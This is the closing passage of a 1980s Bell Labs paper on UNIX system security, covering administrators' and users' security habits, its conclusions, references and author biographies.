By far the greatest security hazard for a system, the *UNIX* system or otherwise, is the set of people who use it. If the people who use a machine are naive about security issues, the machine will be vulnerable regardless of what is done by the local management. This applies particularly to the system's administrators, but ordinary users should also take heed.

9.1 Administrators' concerns

The system administrator is responsible for overseeing the security of the system as a whole. Several things are especially important.

The password file is the most important file to watch in the system. It should not, of course, be writable by anyone other than the super-user, nor should it be available for perusal by anyone who is not currently logged into the machine. For example, it should not be shipped by `uucp` in response to an outside request.

Login entries with no passwords are very unwise.

Group logins, that is, the use of a single login name and password for a number of people, are to be avoided. The owner of a machine is entitled to know who is using it, and group logins thwart this. Further, the idea of a group login does little to instill in its users the notion that they are individually responsible for their conduct on a machine.

The worst group login, and one that is found on virtually all *UNIX* machines, is `root`, the login name of the super-user. Every time that someone logs in as `root`, the system administrator can tell that someone logged in with super-user privileges, but there is no hint as to who that person might be. Many systems make it impossible to log in as `root` via dial-up lines; some restrict the login to the system console. In fact, there is no need for anonymous super-users. It is better to require a normal login and effect the transformation via the `su` command, especially if `su` leaves tracks on a piece of paper somewhere.

The use of restricted shells to contain people who log in without passwords or through group logins is simply ineffective.

Administrators' personal passwords are most important, both to the administrators and to potential intruders. An intruder is happy to get anybody's password that provides access to the machine. If the password is that of a system administrator and thus allows some special group permissions such as `bin`, `sys`, or `uucp`, so much the better. It is strongly recommended that on the machines that they maintain administrators use different passwords than they use on any other machines.

A system administrator should be able to explain the presence of every SUID-`root` program on the system, and to show that these have

at least been looked at for surprises. Compilation from 'clean' source code is helpful, but not always sufficient.

Protection against horses for people who have super-user privileges is essential. This means checking *PATH* variables, directories, and files owned by such people to see that the files that they execute are writable only by themselves or by trusted administrators. Again, such protection is not sufficient, but it does remove the obvious targets.

Finally, the system administrator should work to develop an awareness of security issues in the user community as a whole.

9.2 Users' concerns

Users, including system administrators, often have surprisingly bad habits with respect to system security. Here are some of the worst.

- Giving away logins and passwords is all too common. The same people who would never consider giving the keys to a company car to a friend are often quite willing to give away the keys to the company computer, even though the potential for loss may be orders of magnitude greater.
- Obvious swindles tend to be ignored. Most Trojan horses work only because most people have not given any thought to the fact that programs that ask for things like passwords might not be the genuine article. If something goes wrong, they ask no questions.
- Generally, little thought goes into the choice of nontrivial passwords, passwords are not changed except under duress, and a one-size-fits-all attitude is common.
- Carefree networking is the norm, not the exception.
- Sensitive information about projects and people is routinely kept on public machines.

The only approach to these problems is user education.

X. CONCLUSION

At the beginning of this paper it was noted that *UNIX* systems, when used for the purposes and in the environment for which they were designed, cannot be made secure. The supporting arguments for that statement should now be clear. The following ideas should also be clear:

The security of any given *UNIX* system can vary from very weak to very strong, depending on a large number of factors and their interactions. The most important of these is the habits and attitudes of administrators and users.

Software changes can be made that will greatly increase the security of a system. However, since the same tools can be just as potent for an intruder as for an administrator, they must be carefully designed, lest they backfire.

The question of convenience versus security, which depends on the nature of a given application, must be carefully considered before implementing and installing that application. In particular, there are some things that should not be put on any public machine.

It was also noted that the security hazards of *UNIX* systems are exactly those of other systems that are used for similar purposes in similar environments. Only the forms of the hazards are different. If, from the examples given, it seems easier to subvert *UNIX* systems than most other systems, the impression is a false one. The subversion techniques are the same. It is just that it is often easier to write, install, and use programs on *UNIX* systems than on most other systems, and that is why the *UNIX* system was designed in the first place.

REFERENCES

1. R. Morris and K. Thompson, "Unix Password Security," CACM, *22*, (November 1979), p. 594.
2. D. M. Ritchie, "Protection of Data File Contents," U.S. Patent 4135240, January 16, 1979.
3. K. Thompson, 1983 ACM Turing Award Lecture, New York, November 1983, also in CACM, *27*, No. 8 (August 1984), pp. 761.
4. D. M. Ritchie, "On the Security of *UNIX*," *UNIX* Programmer's Manual, Section 2, AT&T Bell Laboratories.
5. D. A. Nowitz and M. E. Lesk, "Implementation of a Dial-Up Network on *UNIX* Systems," Fall COMPCON, Washington, D.C. (September 1980, pp. 483–6.
6. D. A. Nowitz, "UUCP Implementation Description," *UNIX* Programmer's Manual, Section 2, AT&T Bell Laboratories.
7. R. T. Morris, "Another Try at Uucp," unpublished work.
8. D. A. Nowitz, P. Honeyman, and B. E. Redman, "Experimental Implementation of Uucp," 1984 UNIFORM Proc.
9. Tom Truscott, "An Enhanced Uucp," Research Triangle Institute Technical Memorandum CDSR005, Research Triangle Park, North Carolina, December 1983.
10. R. H. Morris, "Unix File Security," unpublished work.
11. J. Garlinski, *The Enigma War*, New York: Scribner, 1979.
12. J. A. Reeds, and P. J. Weinberger, "The *UNIX* System: File Security and the *UNIX* System Crypt Command," AT&T Bell Lab. Tech. J., this issue.

AUTHORS

Frederick T. Grampp, B.S. (Electrical Engineering), 1964, Newark College of Engineering; M.S. (Mathematics), 1969, Stevens Institute of Technology; AT&T Bell Laboratories, 1963—. Mr. Grampp has worked on a variety of software projects at AT&T Bell Laboratories. He was a Visiting Lecturer in Mathematics at Stevens Institute of Technology from 1969 to 1971, and in Computer Science at Rutgers University, 1975 to 1976. He is presently Supervisor of the Computing Facilities Research group. Member, AAAS, ACM.

Robert H. Morris, A.B. (Mathematics), 1957, A.M., 1958, Harvard University; AT&T Bell Laboratories, 1960—. Mr. Morris was first concerned with assessing the capability of the switched telephone network for data transmission in the Data Systems Engineering department. From 1962 to 1981, he was engaged in research relating to computer software. Since 1981, he has been

involved in the design of a large parallel computer for signal processing. He is presently a Supervisor in the Signal Processors Engineering department. He taught mathematics at Harvard University from 1957 to 1960 and was a Visiting Lecturer in Electrical Engineering at the University of California at Berkeley from 1966 to 1967. He was an editor of the Communications of the ACM for many years.